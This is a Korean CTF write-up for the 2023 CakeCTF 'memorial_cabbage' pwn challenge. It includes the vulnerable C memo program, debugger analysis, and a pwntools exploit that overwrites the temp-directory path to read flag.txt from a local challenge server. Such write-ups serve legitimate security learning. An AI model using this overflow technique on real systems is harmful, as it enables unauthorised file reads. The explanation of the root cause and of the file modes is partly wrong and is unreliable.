2023 CakeCTF - memorial_cabbage

김왕구·2023년 11월 28일

1. 문제 파일

memorial_cabbage.tar.gz

2. 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"

static char *tempdir;

void setup() {
  char template[] = TEMPDIR_TEMPLATE;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  if (!(tempdir = mkdtemp(template))) {
    perror("mkdtemp");
    exit(1);
  }
  if (chdir(tempdir) != 0) {
    perror("chdir");
    exit(1);
  }
}

void memo_r() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "r")))
    return;
  fgets(buf, sizeof(buf) - 1, fp);
  fclose(fp);

  printf("Memo: %s", buf);
}

void memo_w() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  printf("Memo: ");
  if (!fgets(buf, sizeof(buf)-1, stdin))
    exit(1);

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "w")))
    return;
  fwrite(buf, 1, strlen(buf), fp);
  fclose(fp);
}

int main() {
  int choice;

  setup();
  while (1) {
    printf("1. Write memo\n"
           "2. Read memo\n"
           "> ");
    if (scanf("%d%*c", &choice) != 1)
      break;
    switch (choice) {
      case 1: memo_w(); break;
      case 2: memo_r(); break;
      default: return 0;
    }
  }
}

3. 바이너리 보호기법 검사

4. 정적분석

소스코드를 통해 프로그램의 동작을 확인해보자.

4.1 프로그램의 흐름

  • Global Items
    #define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"
    static char *tempdir;
  • main()
    1. setup()이라는 함수를 호출한다.
    2. int choice라는 변수의 값으로 while 문 내에서 switch를 통해 memo_r(), memo_w() 함수를 호출하도록 설계되었다.
  • setup()
    1. char template[] = TEMPDIR_TEMPLATE; 를 통해 TEMPDIR_TEMPLATE의 값을 할당하였다.
    2. setvbuf() 함수를 통해 버퍼링을 해제하였다.
    3. mkdtemp(template)/tmp 내에 "/tmp/cabbage.XXXXXX" 형식으로 새로운 디렉터리를 생성하여 반환값으로 생성된 이름을 tempdir에 저장하고 있다.
    4. chdir(tempdir) → 생성된 디렉터리로 이동한다.
  • memo_r()
    1. strcpy(path, tempdir);tempdir의 값을 32byte의 공간을 가진 path에 복사하였다.
    2. strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");path의 포인터를 TEMPDIR_TEMPLATE 만큼 더하여 path 끝으로 포인터를 이동시킨 후, “/memo.txt” 문자열을 복사하였다.
    3. fopen(path, “r”)path에 있는 파일을 열고 반환값인 파일 포인터를 fp에 저장한다.
    4. fgets(buf, sizeof(buf) - 1, fp);fp를 이용하여 sizeof(buf) - 1 만큼 읽어들인 결과를 buf에 저장한다.
  • memo_w()
    1. fgets(buf, sizeof(buf) - 1, stdin)stdin을 통해 sizeof(buf) - 1 만큼의 입력값을 buf에 저장한다.
    2. strcpy(path, tempdir);tempdir의 값을 32byte의 공간을 가진 path에 복사하였다.
    3. strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");path의 포인터를 TEMPDIR_TEMPLATE 만큼 더하여 path 끝으로 포인터를 이동시킨 후, “/memo.txt” 문자열을 복사하였다.
    4. fopen(path, “r”)path에 있는 파일을 열고 반환값인 파일 포인터를 fp에 저장한다.
    5. fwrite(buf, 1, strlen(buf), fp);buf의 값을 1byte 단위로 buf의 길이만큼 fp를 이용해 파일에 쓰기 작업을 한다.

4.2 취약한 코드

위 프로그램의 흐름을 살펴보며 취약점이 발생할 수 있는 부분을 예상해보았다.

  1. 정의된 변수 중 static char *tempdir이라는 변수가 존재하는데,
    이 변수는 주로 memo_r, memo_w 함수에서 memo.txt 파일을 읽고 쓸 때 필요한 경로를 담고 있다.
    그러나 변수가 static과 전역 변수로 선언되었기 때문에 프로세스가 동작하는 동안 사라지지 않고 아무나 접근이 가능하기에 Static Variable Overflow가 발생할 수 있다.

5. 동적 분석

위 취약점이 어떻게 발생하는지 알기 위해 디버거로 확인해보자.

  1. setup 함수에서 mkdtemp 함수를 호출하는 라인에 bp를 설정하여 디렉터리 생성을 확인해보자.

위 함수의 결과는 RAX → ‘/tmp/cabbage.lUB36i’로 저장된 것을 확인할 수 있다.
또한 저장된 결과는 전역변수 mov qword ptr [rip + 0x2cba], rax 명령을 통해 0x7fffffffe160에 저장된다. 이 주소를 기억해두자.

  1. write_w 함수의 buf 주소를 확인한다.

buf의 주소는 0x7fffffffd170이다. buftempdir의 주소 차를 확인해보면 다음과 같다.

주소 차는 0xff0이다. 그러나 fgets 함수에서 받을 수 있는 값의 길이는 0xfff이므로 tempdir을 덮을 수 있다!

5.2 공격 시나리오 작성

위에서 동적 분석을 통해 memo_w 함수의 fgets(buf, sizeof(buf) - 1, stdin) 함수에서 tempdir의 값을 덮을 수 있다는 사실을 알아냈다. 이를 바탕으로 공격 시나리오를 작성한다면 다음과 같다.

  1. main 함수의 choice를 입력 받을 때, ‘1’을 입력하여 memo_w 함수를 실행한다.
  2. memo_w 함수의 fgets(buf, sizeof(buf) - 1, stdin) 함수를 통해 0xff0 만큼 값을 채우고, “/flag.txt\0”tempdir의 값을 덮어씌운다.
  3. fopen(path, "w")을 통해 flag.txt를 읽게 되고 fwrite(buf, 1, strlen(buf), fp)buf에 읽어온 값을 쓰게 된다.
  4. 다시 choice를 입력 받을 떄 ‘2’를 입력하여 memo_r 함수를 실행하고 printf 함수를 통해 읽어들인 flag를 출력한다.

6. 익스플로잇

from pwn import *

# p = process("./cabbage")
p = remote("127.0.0.1", 9001)

def write(data):
    print(p.sendlineafter(b">", b"1"))
    print(p.sendlineafter(b":", data))

def read():
    print(p.sendlineafter(b">", b"2"))

write(b"\x90" * 0xff0 + b"/flag.txt\x00")
read()

p.interactive()

위와 같이 FLAG가 읽히는 것을 볼 수 있다!

profile
시스템 보안과 운영체제 개발, Rust에 관심이 많은 학생

0개의 댓글